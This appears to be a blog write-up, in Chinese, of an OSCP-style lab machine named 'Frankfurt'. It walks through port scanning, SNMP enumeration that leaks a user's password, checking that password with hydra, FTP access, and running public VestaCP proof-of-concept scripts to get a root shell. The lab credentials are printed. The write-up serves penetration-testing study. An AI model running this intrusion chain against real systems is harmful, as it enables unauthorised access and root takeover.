Challenge 6 - Frankfurt
Challenge 6 - Frankfurt
第一步 rustscan 掃開放 Port
└─$ rustscan -a 192.168.239.156 --scripts none --ulimit 5000 | tee rustscan
開了一堆 Port,討厭的機器
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ssl-cert: Subject: commonName=oscp.example.com
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
25/tcp open smtp Exim smtpd 4.90_1
| ssl-cert: Subject: commonName=oscp.example.com
53/tcp open domain ISC BIND 9.11.3-1ubuntu1.18 (Ubuntu Linux)
80/tcp open http nginx
110/tcp open pop3 Dovecot pop3d
| ssl-cert: Subject: commonName=oscp.example.com
143/tcp open imap Dovecot imapd (Ubuntu)
| ssl-cert: Subject: commonName=oscp.example.com
465/tcp open ssl/smtp Exim smtpd 4.90_1
| ssl-cert: Subject: commonName=oscp.example.com
587/tcp open smtp Exim smtpd 4.90_1
| ssl-cert: Subject: commonName=oscp.example.com
993/tcp open ssl/imap Dovecot imapd (Ubuntu)
| ssl-cert: Subject: commonName=oscp.example.com
995/tcp open ssl/pop3 Dovecot pop3d
| ssl-cert: Subject: commonName=oscp.example.com
2525/tcp open smtp Exim smtpd 4.90_1
| ssl-cert: Subject: commonName=oscp.example.com
3306/tcp open mysql MySQL 5.7.40-0ubuntu0.18.04.1
|_ Auth Plugin Name: mysql_native_password
8080/tcp open http Apache httpd 2.4.29 ((Ubuntu) mod_fcgid/2.3.9 OpenSSL/1.1.1)
8083/tcp open http nginx
|_http-title: Did not follow redirect to https://192.168.239.156:8083/
8443/tcp open http Apache httpd 2.4.29 ((Ubuntu) mod_fcgid/2.3.9 OpenSSL/1.1.1)
8083 Port 開起來有登入的帳號密碼,看來很大機會是它,是個 VESTA 系統
看一下 whatweb,└─$ whatweb https://192.168.239.156:8083/login/
Title 一樣只顯示 VESTA
掃一下 snmp,└─$ sudo nmap -sU -p 161 192.168.239.156,結果有開這個大部分有用
snmp 第一步是 snmp-check 先 └─$ snmp-check 192.168.239.156 看看有無可用資訊
看來有用的只有一個帳號 Contact : Me <Jack@oscp>
snmp 要參考這一篇 https://book.hacktricks.xyz/network-services-pentesting/pentesting-snmp
尤其是這一段要查看 NET-SNMP-EXTEND-MIB::nsExtendOutputFull
.
照著上面的範例改進一下一樣輸入進行列舉
snmpwalk -v 1 -c public 192.168.239.156 NET-SNMP-EXTEND-MIB::nsExtendOutputFull
發現沒有 SNMP-FRAMEWORK-MIB
所以先進行安裝 SNMP-FRAMEWORK-MIB,文章中一樣有教學
apt-get install snmp-mibs-downloader
download-mibs
# Finally comment the line saying "mibs :" in /etc/snmp/snmp.conf
sudo vi /etc/snmp/snmp.conf
結果要使用 sudo apt-get install snmp-mibs-downloader 才能順利安裝
再跑一次 snmpwalk -v 1 -c public 192.168.239.156 NET-SNMP-EXTEND-MIB::nsExtendOutputFull
發現修改帳號密碼 STRING: "jack:3PUKsX98BMupBiCf" | chpasswd
拿到帳號密碼 jack:3PUKsX98BMupBiC
使用該帳號密碼登入 FTP 服務測試
└─$ hydra -l jack -p 3PUKsX98BMupBiCf ftp://192.168.239.156
但測試沒有成功,在 snmp-check 中有發現帳號的 J 是大寫,改用大寫試試看
└─$ hydra -l Jack -p 3PUKsX98BMupBiCf ftp://192.168.239.156
這一次成功了,看來帳號有鎖大小寫
└─$ ftp 192.168.239.156 使用 Jack:3PUKsX98BMupBiCf 登入後
ls 就看到 local.txt,執行 get local.txt 抓回來後 cat 拿到第一階段答案
一樣可以用 Jack:3PUKsX98BMupBiCf 登入 8083 Port 的 VESTA 網站
https://192.168.239.156:8083/list/user/
網站逛了一圈浪費許多時間發現沒啥東西,後來發現這一篇專門在講 VESTA 系統的弱點
https://ssd-disclosure.com/ssd-advisory-vestacp-multiple-vulnerabilities/
從頭到尾在爆料 Vesta 的漏洞,最後提供三個 POC : VestaFuncs.py、vestaATO.py、vestaROOT.py
最下面有個影片 Demo 第三個 POC : vestaROOT.py
將 python code 複製到 kali 取一樣的名稱照著跑
└─$ python3 vestaROOT.py https://192.168.239.156:8083 Jack 3PUKsX98BMupBiCf
跳出錯誤訊息 ModuleNotFoundError: No module named 'VestaFuncs'
看了一下 python code 的內容可以看到需要有一個 VestaFuncs Module,名稱與第一個 python 名稱相同,看來是會載入第一個 python code,所以將前兩個一併都載下來放在相同路徑
再跑一次 └─$ python3 vestaROOT.py https://192.168.239.156:8083 Jack 3PUKsX98BMupBiCf
就拿到 Root Shell 了,id 看一下已經是 root 那就直接 cat 答案吧
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/proof.txt
留言
張貼留言